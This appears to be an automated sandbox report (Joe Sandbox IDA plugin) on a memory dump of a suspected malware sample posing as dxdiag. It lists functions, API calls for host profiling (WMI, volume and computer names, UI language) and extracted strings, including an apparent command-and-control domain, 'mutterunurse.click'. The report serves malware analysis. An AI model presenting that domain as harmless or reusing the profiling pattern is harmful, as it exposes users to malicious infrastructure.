;(C, xrefs: 00431E4B
="C, xrefs: 00431E8D
="C, xrefs: 00431DA6
="C, xrefs: 00431DD2
="C, xrefs: 00431E09
="C, xrefs: 00431E61
="C, xrefs: 00431DB1
="C, xrefs: 00431E1F
="C, xrefs: 00431DBC
="C, xrefs: 00431E2A
="C, xrefs: 00431E6C
="C, xrefs: 00431EB9
="C, xrefs: 00431EC4
&)C, xrefs: 00431EAE
="C, xrefs: 00431E77
b(C, xrefs: 00431ECF
#C, xrefs: 00431D7A
='C, xrefs: 00431D9B

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID: MetricsSystem
String ID: $&)C$;(C$="C$="C$="C$="C$="C$="C$="C$="C$="C$="C$="C$="C$="C$="C$="C$="C$="C$="C$='C$S%C$b(C$#C
API String ID: 4116985748-628680385
Opcode ID: c4360614f8f82c5e27f19abdd04c6f864ef0af49341f313285d7bdd33a848109
Instruction ID: ea45c71986b2e534ecec44a4126f62931ddcc8577b73b097e58ed3aa899a90b6
Opcode Fuzzy Hash: c4360614f8f82c5e27f19abdd04c6f864ef0af49341f313285d7bdd33a848109
Instruction Fuzzy Hash: 41B16FB04097818FE771DF14D48879BBBE0BBC5308F508A2EE5E89B251CBB95448CF86

Function 00436F90 Relevance: 35.6, APIs: 11, Strings: 9, Instructions: 571
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0044068C,00000000,00000001,0044067C), ref: 00437173
SysAllocString.OLEAUT32(D080DE8F), ref: 004371DB
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00437218
SysAllocString.OLEAUT32(9F4F9D4B), ref: 00437268
SysAllocString.OLEAUT32(E8D216C6), ref: 0043731A
VariantInit.OLEAUT32(.'()), ref: 00437385
VariantClear.OLEAUT32(.'()), ref: 004374E0
SysFreeString.OLEAUT32(?), ref: 00437504
SysFreeString.OLEAUT32(?), ref: 0043750A
SysFreeString.OLEAUT32(00000000), ref: 00437517
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00437552

Strings

"#$%, xrefs: 004375FC
!", xrefs: 004371A9
.;, xrefs: 00437282
.'(), xrefs: 00437008, 004370C1
{.] , xrefs: 004371A1
>C, xrefs: 004370D7
{|, xrefs: 004373BF
C, xrefs: 004370CF
p*v,, xrefs: 00437199

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID: String$AllocFree$Variant$BlanketClearCreateInformationInitInstanceProxyVolume
String ID: !"$"#$%$.'()$.;$>C$C$p*v,${.] ${|
API String ID: 2573436264-264043890
Opcode ID: 7a78478979428ae9a6e1ff4e339a7a4033eb69ce9e06f36cd810f297e7b98f92
Instruction ID: 06fb3ad9466451430b31427f45de08a7eb0daa23bec53a4f5f9458ad790f981b
Opcode Fuzzy Hash: 7a78478979428ae9a6e1ff4e339a7a4033eb69ce9e06f36cd810f297e7b98f92
Instruction Fuzzy Hash: D302F0B1A083009FD320CF64CC81B5BBBE5EB99314F14982DF6C59B3A1D679E805CB96

Function 004215F0 Relevance: 28.1, Strings: 22, Instructions: 608
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

c, xrefs: 00421D51
c, xrefs: 0042168A
/, xrefs: 00421A7B
,, xrefs: 00421BCF
=, xrefs: 004218E5
b, xrefs: 00421D56
?, xrefs: 004218EF
`, xrefs: 00421AF2
b, xrefs: 0042168F
/, xrefs: 00421A80
a, xrefs: 00421D5B
b, xrefs: 00421AE8
,, xrefs: 00421A71
!@, xrefs: 00421623
y, xrefs: 00421C69
x, xrefs: 00421C64
$, xrefs: 00421A76
a, xrefs: 00421AED
c, xrefs: 00421AE3
`, xrefs: 00421699
a, xrefs: 00421694
`, xrefs: 00421D60

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: !@$$$,$,$/$/$=$?$`$`$`$a$a$a$b$b$b$c$c$c$x$y
API String ID: 0-2322859148
Opcode ID: ac7828d93f88749587bf053ed3609d6ede44a0fa959ed21f77b42e633a8578f9
Instruction ID: a9e4235a5477e646960bee548e6a60db3c3433cdc1e43feab013a68861c4041f
Opcode Fuzzy Hash: ac7828d93f88749587bf053ed3609d6ede44a0fa959ed21f77b42e633a8578f9
Instruction Fuzzy Hash: 9C32247160C3908FD3248B28D49136FFBE1ABE5314F59492EE5D5873A2D6BD8841CB4B

Function 0040E2A9 Relevance: 14.0, APIs: 2, Strings: 7, Instructions: 529
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.OLE32 ref: 0040E2B5
CoUninitialize.COMBASE ref: 0040E673

Strings

mutterunurse.click, xrefs: 0040E649, 0040E9DD
`~, xrefs: 0040E8CD
I~, xrefs: 0040E8E3
s, xrefs: 0040E736
,, xrefs: 0040E688
qx, xrefs: 0040E8EE
"# `, xrefs: 0040E70A

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID: Uninitialize
String ID: "# `$,$I~$`~$mutterunurse.click$qx$s
API String ID: 3861434553-3945163074
Opcode ID: 1bc8a25b561593e53d2d6339a02d65ee242e64d661e98e766194f6cca9f4be8c
Instruction ID: 550626b1aa1881637dc35d229a9c1637f44e71d1f63aa888f187a22684203b49
Opcode Fuzzy Hash: 1bc8a25b561593e53d2d6339a02d65ee242e64d661e98e766194f6cca9f4be8c
Instruction Fuzzy Hash: 2902B0B010C3D18BD3358F2684A07EBBFE1EF92304F189DADD4DA6B252D679040A8B57

Function 004233A0 Relevance: 12.7, APIs: 1, Strings: 6, Instructions: 471
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

KM, xrefs: 004237FB
#R,T, xrefs: 00423647
ij, xrefs: 0042397D
$^<P, xrefs: 0042363F
VW, xrefs: 004233E5
]~"p, xrefs: 0042367F

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: #R,T$$^<P$VW$]~"p$ij$KM
API String ID: 0-788320361
Opcode ID: 83f2170b8c59a65a8a9960c15d95f04e83c213860b07ad3303ead03e3c572ec6
Instruction ID: 9ed236048ece28067beed024fb633757567cd4a7e3bca11c75bb2a7735f0e68b
Opcode Fuzzy Hash: 83f2170b8c59a65a8a9960c15d95f04e83c213860b07ad3303ead03e3c572ec6
Instruction Fuzzy Hash: D1F1CAB46083509FD310DF65E88262BBBF1EFD5304F44892DE4958B351EB789A06CB4B

Function 0040A960 Relevance: 9.2, Strings: 7, Instructions: 401
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

'D F, xrefs: 0040AAC6
N[\D, xrefs: 0040ACD2, 0040ABA4, 0040ADC0, 0040ABC5, 0040ACF6, 0040ADB7, 0040AD01, 0040ADEE
kl, xrefs: 0040AB2D
n, xrefs: 0040A982
N[\D, xrefs: 0040AC00
A|}~, xrefs: 0040AAD6
#xDz, xrefs: 0040AACE

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: #xDz$'D F$A|}~$N[\D$N[\D$kl$n
API String ID: 0-490458541
Opcode ID: b00241246f4d0228e6e25298a947675e85839165aeb9511d476d344b8fc49fad
Instruction ID: 966b8f91f76bb20883ed88500b6b89ab0c93423946d56f050922860fedc986fe
Opcode Fuzzy Hash: b00241246f4d0228e6e25298a947675e85839165aeb9511d476d344b8fc49fad
Instruction Fuzzy Hash: D7C1267260C3504BC714CF6488905AFBBD3ABC2304F1E893DE9D56B382D679991AC78B

Function 0040CE55 Relevance: 9.0, Strings: 7, Instructions: 275
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

mutterunurse.click, xrefs: 0040D27A
N~ :, xrefs: 0040CF45
z@(, xrefs: 0040CF5B
AD25FE18D17A68A323D904AF30EFEBBC, xrefs: 0040CEAF
I@, xrefs: 0040D0C4
VgfW, xrefs: 0040CF2F
F^, xrefs: 0040D0B9

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: AD25FE18D17A68A323D904AF30EFEBBC$F^$I@$N~ :$VgfW$mutterunurse.click$z@(
API String ID: 0-3269320285
Opcode ID: a8b82ccc30708ca5d3da64cc2461f8570c754c905fc98211d30cc89c72c56c70
Instruction ID: b1d760c26d9b90ec4573806c6615211f8657e28aa76e89aec63d6860f5017e85
Opcode Fuzzy Hash: a8b82ccc30708ca5d3da64cc2461f8570c754c905fc98211d30cc89c72c56c70
Instruction Fuzzy Hash: A191EEB05083C18BD335CF25D8A0BEBBBE0AB96314F148D6DD4DD9B282D738454ACB96

Function 004087F0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 127
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00408811
GetCurrentThreadId.KERNEL32 ref: 0040881A
GetForegroundWindow.USER32 ref: 004088CE
ExitProcess.KERNEL32 ref: 0040897B

Strings

YO9W, xrefs: 00408822

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID: CurrentProcess$ExitForegroundThreadWindow
String ID: YO9W
API String ID: 3118123366-386669604
Opcode ID: 81875feee291dd51c94163340b3786e966dc5896524b3e4d2eaf5977dbc455ff
Instruction ID: 5b12a659e8285d1355c3597aa5681aa9478bfa7506ef17589c1493984f4e9e7d
Opcode Fuzzy Hash: 81875feee291dd51c94163340b3786e966dc5896524b3e4d2eaf5977dbc455ff
Instruction Fuzzy Hash: 98315977F5061807C31C7AB98C4636AB5874BC4614F0F863E9DD9AB386FDB89C0442D9

Function 0042BFDA Relevance: 7.5, APIs: 3, Strings: 1, Instructions: 461
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 0042C0D7
GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 0042C113
GetComputerNameExA.KERNELBASE(00000005,?,00000200), ref: 0042C1D8

Strings

x, xrefs: 0042C2F2

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID: ComputerName$FreeLibrary
String ID: x
API String ID: 2243422189-2363233923
Opcode ID: 212c4427347d00bc0ab6c4fd254bb844e7ef8bf1701165750c227f18fd5959f2
Instruction ID: f24e0535182122329204161442b6cb3576d9d8656e0dc52521a12abdc108ad65
Opcode Fuzzy Hash: 212c4427347d00bc0ab6c4fd254bb844e7ef8bf1701165750c227f18fd5959f2
Instruction Fuzzy Hash: EFD1B46060C3E08ED7358B2994903BFBBD1AFD7344F5849ADD0C99B282D779450ACB57

Function 00436C40 Relevance: 6.5, Strings: 5, Instructions: 265
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

`, xrefs: 00436ED8
c, xrefs: 00436ECC
a, xrefs: 00436ED4
b, xrefs: 00436ED0
cba`cba`, xrefs: 00436DDF

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: `$a$b$c$cba`cba`
API String ID: 0-3925122358
Opcode ID: 5e1df088af1431bf05ca1571bfd6cdbdd7f3fabc29e584d71a065595dab268f0
Instruction ID: 716de675438fc7be0f84b9257b2f5ff0fcac0ae5b07daa8bb6709f6b9bb0c7b9
Opcode Fuzzy Hash: 5e1df088af1431bf05ca1571bfd6cdbdd7f3fabc29e584d71a065595dab268f0
Instruction Fuzzy Hash: 5FA14975E083459FDB04CFA8C4513AEBFF2AB9A310F1AC06ED44697392C67D8905C79A

Function 0040C36E Relevance: 6.5, Strings: 5, Instructions: 203
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4cde, xrefs: 0040C79C
F'k), xrefs: 0040C706
){+}, xrefs: 0040C788
CJ, xrefs: 0040C67E
GS, xrefs: 0040C677

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: ){+}$4cde$CJ$F'k)$GS
API String ID: 0-4192230409
Opcode ID: 5de04a91f599762488a7f1befa48500976ff1de46b0c1ed8ec4e4c363fac47c6
Instruction ID: 6afdb2316fdadaf12e32bd698f1912d34734f08b0bc4a82971b76fff6b28e520
Opcode Fuzzy Hash: 5de04a91f599762488a7f1befa48500976ff1de46b0c1ed8ec4e4c363fac47c6
Instruction Fuzzy Hash: 50B11BB84053058FE354DF629688FAA7BB0FB25310F1A82E9E0992F776D7748405CF96

Function 0042C6D7 Relevance: 5.9, APIs: 1, Strings: 2, Instructions: 614
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

', xrefs: 0042CC09
iJ, xrefs: 0042CAF5

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: '$iJ
API String ID: 0-30662343
Opcode ID: 5f8335f824c18f5e14225d200a316fb8f8740858805ddfb73ef0b7ad87012508
Instruction ID: e8033de2897f6a471e39d6e72682695b514e130b01bc458e21cc2d5cc8d806b0
Opcode Fuzzy Hash: 5f8335f824c18f5e14225d200a316fb8f8740858805ddfb73ef0b7ad87012508
Instruction Fuzzy Hash: 7C02F57060C3E18FD7298F2990A03ABBFE1AF97304F58496ED4D997342D77984058B97

Function 0042BFD3 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 456
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 0042C113
GetComputerNameExA.KERNELBASE(00000005,?,00000200), ref: 0042C1D8

Strings

x, xrefs: 0042C2F2

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID: ComputerName
String ID: x
API String ID: 3545744682-2363233923
Opcode ID: dd7dd52a73c17c107c662ee8ca0c022aa0f15367076f24ecb02be622242e9914
Instruction ID: cbfe56490d4610b99627c39bd120223bdbde8b4c29662e55905f397c0fd00549
Opcode Fuzzy Hash: dd7dd52a73c17c107c662ee8ca0c022aa0f15367076f24ecb02be622242e9914
Instruction Fuzzy Hash: 1AD1176060C7E18ED7358B2894903BFBBD1AF97344F5849AED0D54B382D739940AC797

Function 004097B0 Relevance: 5.4, Strings: 4, Instructions: 396
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

EIFT, xrefs: 00409875, 00409880, 004098C1
_P, xrefs: 00409C05
AD25FE18D17A68A323D904AF30EFEBBC, xrefs: 0040987B
w, xrefs: 0040995C

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: AD25FE18D17A68A323D904AF30EFEBBC$EIFT$_P$w
API String ID: 0-1502974083
Opcode ID: 75d97640b3faaac57dd24be4c61a62bd06a513c5caf22db02b2c8c010e917981
Instruction ID: d6c9ba6df74010c44a12fa1b015f50b5a98841c64097f62a202da139de979759
Opcode Fuzzy Hash: 75d97640b3faaac57dd24be4c61a62bd06a513c5caf22db02b2c8c010e917981
Instruction Fuzzy Hash: 9DC125716083409BD718DF35C8526AFBBE6EBD1314F188A2DE4D297392DA3CC909CB56

Function 00426170 Relevance: 5.3, Strings: 4, Instructions: 318
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8zVc, xrefs: 0042627D
YNMZ, xrefs: 00426446
4zVc, xrefs: 0042621C
cba`, xrefs: 004261C1

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID: InitializeThunk
String ID: 4zVc$8zVc$YNMZ$cba`
API String ID: 2994545307-1799417857
Opcode ID: eaf66d541d549ce35d0b7173bc81318c446716c3833972a3082171e3945cfb6b
Instruction ID: a4538a0261ff6c2ac210d57fc6ac5424e6a326b8b8d8802f404cc31a7d59ec03
Opcode Fuzzy Hash: eaf66d541d549ce35d0b7173bc81318c446716c3833972a3082171e3945cfb6b
Instruction Fuzzy Hash: 189147B2F042208BD724DA25EC8172B7292EBD1314F5A857EEC8597342E678AC00C7DA

Function 00416B7E Relevance: 1.8, APIs: 1, Instructions: 335COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 890e8e76508b01334db47f64388eac8d659fe5be4548ddbfe270fdd3745dd69d
Instruction ID: 4d3fd89be0cb7aed4be93335616a378edd6ad360b4f2b7dd84c825cf95623c92
Opcode Fuzzy Hash: 890e8e76508b01334db47f64388eac8d659fe5be4548ddbfe270fdd3745dd69d
Instruction Fuzzy Hash: 9BA159B16047418FCB24CF34C891663BBE2FF56314B098A6ED49A8B792E738F845CB55

Function 0043E690 Relevance: 1.6, Strings: 1, Instructions: 384COMMON

Download Yara Rule

Strings

@CDE, xrefs: 0043E8D1

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID: InitializeThunk
String ID: @CDE
API String ID: 2994545307-1513065382
Opcode ID: cbdfbb28d977ac1ea6b7f73f0ada9322f454d3da5a8c62154e5dc83033fd8ee1
Instruction ID: 3c5ac0be7424b57116813a4f2293c38aabf5a2246835f37d4781b8179357b19c
Opcode Fuzzy Hash: cbdfbb28d977ac1ea6b7f73f0ada9322f454d3da5a8c62154e5dc83033fd8ee1
Instruction Fuzzy Hash: EFB146717493414BC318DB2AC8D1A3BBBE6ABE9314F1CD93DE58687392C638DC058796

Function 0043B480 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0043D4FB,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0043B4AE

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 00417E82 Relevance: 1.5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

Strings

tuv, xrefs: 00418856

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: tuv
API String ID: 0-2475268160
Opcode ID: 692413315616f7dcebff6ff457f6b3838c60e2c9e7b6f7554dd79316d44026a4
Instruction ID: 96cc1be5c7b42f4822ccf6fdabcc1d0a1cf8542e79077bfe6f2257edbdd6f4ef
Opcode Fuzzy Hash: 692413315616f7dcebff6ff457f6b3838c60e2c9e7b6f7554dd79316d44026a4
Instruction Fuzzy Hash: 2B6133B6604700CFC7208F24D8923A3B3F2FF96318F18456EE996477A1E739A945C759

Function 0043DBD0 Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

@, xrefs: 0043DC39

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: a54cd9664649f0a3eb3b986b2c8d66ddc9897b79c163bf161da4d5756e812fe2
Instruction ID: 1421818bc4f15c0d032df179158ed2797c8d4970c2420d5e39c05150b2e3af5d
Opcode Fuzzy Hash: a54cd9664649f0a3eb3b986b2c8d66ddc9897b79c163bf161da4d5756e812fe2
Instruction Fuzzy Hash: C33100B15183048BC314DF18E8C162BBBF8FB9A314F15A92DE68687391D3759908CB9A

Function 00409CC0 Relevance: 1.3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

Strings

\U^_, xrefs: 00409CE5

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: \U^_
API String ID: 0-352632802
Opcode ID: b233260ff75ba58cbb536c0014e0eb0df055bc4e14581868770786c388d706bb
Instruction ID: 5fa690bb4235e6f9a1b833386d74a381627e7adb8b1be8a89cbf23ee07b36487
Opcode Fuzzy Hash: b233260ff75ba58cbb536c0014e0eb0df055bc4e14581868770786c388d706bb
Instruction Fuzzy Hash: D011E23060C3808FD324DF3495549ABBBA5EFD7748F545A2CE4C56B281C735980A8FAA

Function 00410FD6 Relevance: .9, Instructions: 882COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2093543fb022584d977dfc9d50ca098b55c829935c8d8b3e8abbd63342e29df
Instruction ID: 4dc62bf772fc277d12a1bce7bd5d1620b66fc78fd85d4c56ed750eab30f1286c
Opcode Fuzzy Hash: d2093543fb022584d977dfc9d50ca098b55c829935c8d8b3e8abbd63342e29df
Instruction Fuzzy Hash: 1C720675604B408FD714DF38C58539ABBE1AF95314F098A3ED9EB877D2E638A445CB02

Function 0043DCF0 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7e2f85c664c8434edd563ad3eec3cf26f3dbdf93c28ccb518c6c18397a03e6ac
Instruction ID: 42590aa1c4a3029240d7faad05c1566b36b776a36cf424c854185cc8c2ee326e
Opcode Fuzzy Hash: 7e2f85c664c8434edd563ad3eec3cf26f3dbdf93c28ccb518c6c18397a03e6ac
Instruction Fuzzy Hash: 58717A31A043014BC714AF29E890A3FB7A6EFDD750F1AD43EE4868B365DB349C11878A

Function 00439B90 Relevance: .2, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 971fb4683366840521f2c77239d6da1bf588dd11a8c1239e3b899356031a604b
Instruction ID: c4b29f3e4ef49d663a7ff3a53f189fc49867f14e84c221a6ac5e24e09d39c3ba
Opcode Fuzzy Hash: 971fb4683366840521f2c77239d6da1bf588dd11a8c1239e3b899356031a604b
Instruction Fuzzy Hash: 80618B766083005FD728DF29D891B7BB793EBD8304F2D942ED5868B351EA75AC01CB89

Function 00434BDC Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 00434C09

Strings

t, xrefs: 00434C14

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID: DefaultLanguageUser
String ID: t
API String ID: 95929093-2238339752
Opcode ID: 3fa4c25dce8568a0724ebcbfa99840aa77e9227c5342f76fc488d9eef6af0589
Instruction ID: 08a8b9a0e37a212ebea7de5d04b95149eac63241ee44ff142c93878423301f38
Opcode Fuzzy Hash: 3fa4c25dce8568a0724ebcbfa99840aa77e9227c5342f76fc488d9eef6af0589
Instruction Fuzzy Hash: 53F0FF34808298CFDB10DF68D4943EEBBF16F66304F1880ACC08497382D37A9A84CB12

Function 0043B720 Relevance: 3.0, APIs: 2, Instructions: 31COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043B720
GetForegroundWindow.USER32 ref: 0043B740

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: a4781643aa2d8fd57512208f1c3e62aa4b8d5176cb57333a04816d28865289df
Instruction ID: 191facca889f69fa70601903ca8693053aaba1cbaba24685dbffd0b384c421fe
Opcode Fuzzy Hash: a4781643aa2d8fd57512208f1c3e62aa4b8d5176cb57333a04816d28865289df
Instruction Fuzzy Hash: 7ED0A7FDD20110EBC604AB71FC4A41B3A1AEB4722DB545539EC0343352DA39782E868F

Function 0043B420 Relevance: 1.5, APIs: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?,?,?,0040B29B,?,00000001,?,?,?,?,?,?,?), ref: 0043B452

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c927d8c6f07db5a3335dd59de96673b47f735cea6f05c616f97ff7e83687720b
Instruction ID: a89ac6462aaa6a8a5f29c09ee71e481237a955995f4f3f89a98fbf9f2f2a6ed3
Opcode Fuzzy Hash: c927d8c6f07db5a3335dd59de96673b47f735cea6f05c616f97ff7e83687720b
Instruction Fuzzy Hash: FBE0E536904210EBD2002B357C06B177678EF9B715F060436F40152115D739E801C5DE

Function 00430879 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 004308C3

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 83941c5ff406fddefe2a55fc962621e55030b9d07cbba56e81ba996dd76ec11c
Instruction ID: 1146a04256a80fd680d05c5d227ab35205256b262c73fed29a8c8dc337ffb545
